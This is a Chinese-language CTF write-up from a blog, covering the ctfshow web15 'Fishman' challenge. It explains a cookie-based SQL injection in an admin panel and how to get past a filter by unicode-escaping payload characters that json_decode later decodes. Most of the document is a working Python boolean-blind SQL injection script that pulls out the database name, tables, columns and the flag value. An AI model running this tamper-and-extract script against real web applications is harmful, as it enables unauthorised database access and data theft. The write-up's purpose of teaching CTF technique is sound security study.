ctfshow-web-web15 Fishman

最新推荐文章于 2024-04-28 13:46:58 发布

Wcbddd

最新推荐文章于 2024-04-28 13:46:58 发布

阅读量505

点赞数

分类专栏： web CTF 文章标签：前端安全

本文链接：https://blog.csdn.net/HAI_WD/article/details/132810588

版权

CTF 同时被 2 个专栏收录

81 篇文章 0 订阅

订阅专栏

web

37 篇文章 0 订阅

订阅专栏

0x00 前言

文中工具皆可关注皓月当空w 公众号发送关键字工具获取

0x01 题目

在这里插入图片描述

0x02 Write Up

首先拿到题目，先扫描一下，发现一个www.zip

在这里插入图片描述
发现一个admin目录，访问一下：

在这里插入图片描述
在member.php中发现一段代码，这段代码中存在sql注入，也就是在cookie中的sql注入

在这里插入图片描述
有一个要点是，在代码中存在waf

在这里插入图片描述
这里有一个小知识就是json_decode可以识别unicode代码。那么我们可以将我们的测试poc改为unicode

true的话会返回一组

在这里插入图片描述
false会返回两组

以此为依据，可以进行遍历

脚本用的是大佬写好的脚本

#encoding=utf-8
import requests

url = "http://f17498a1-535d-45db-8840-09657e3b6c78.challenge.ctf.show/admin/"

def tamper(payload):
    payload = payload.lower()
    payload = payload.replace('u', '\\u0075')
    payload = payload.replace('\'', '\\u0027')
    payload = payload.replace('o', '\\u006f')
    payload = payload.replace('i', '\\u0069')
    payload = payload.replace('"', '\\u0022')
    payload = payload.replace(' ', '\\u0020')
    payload = payload.replace('s', '\\u0073')
    payload = payload.replace('#', '\\u0023')
    payload = payload.replace('>', '\\u003e')
    payload = payload.replace('<', '\\u003c')
    payload = payload.replace('-', '\\u002d')
    payload = payload.replace('=', '\\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return payload

#get database length
def databaseName_len():
    print ("start get database name length...")
    for l in range(0,45):
        payload = "1' or (length(database())=" + str(l+1) + ")#"
        print(payload)
        payload = tamper(payload)
        print(payload)
        tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
        print(tmpCookie)
        exit()
        headers = {'cookie': tmpCookie}
        r =requests.get(url, headers=headers)
        myHeaders = str(r.raw.headers)
        if ((myHeaders.count("login_data") == 1)):
            print('get db length = ' + str(l).lower())
            break
            
#get content
def get_databaseName():
    flag = ''
    for j in range(0, 15):
        for c in range(0x20,0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
            #print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r =requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('databasename = ' + flag.lower())
                break

#get content
def get_tableName():
    flag = ''
    for j in range(0, 30):           #blind inject
        for c in range(0x20,0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
            #print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r =requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('tablename = ' + flag.lower())
                break
                
#get content
def get_ColumnName():
    flag = ''
    for j in range(0, 10):           #blind inject
        for c in range(0x20,0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
            #print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r =requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('column name = ' + flag.lower())
                break
                
#get content
def get_value():
    flag = ''
    for j in range(0, 50):           #blind inject
        for c in range(0x20,0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
            #print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r =requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('flag = ' + flag.lower())
                break

print ("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()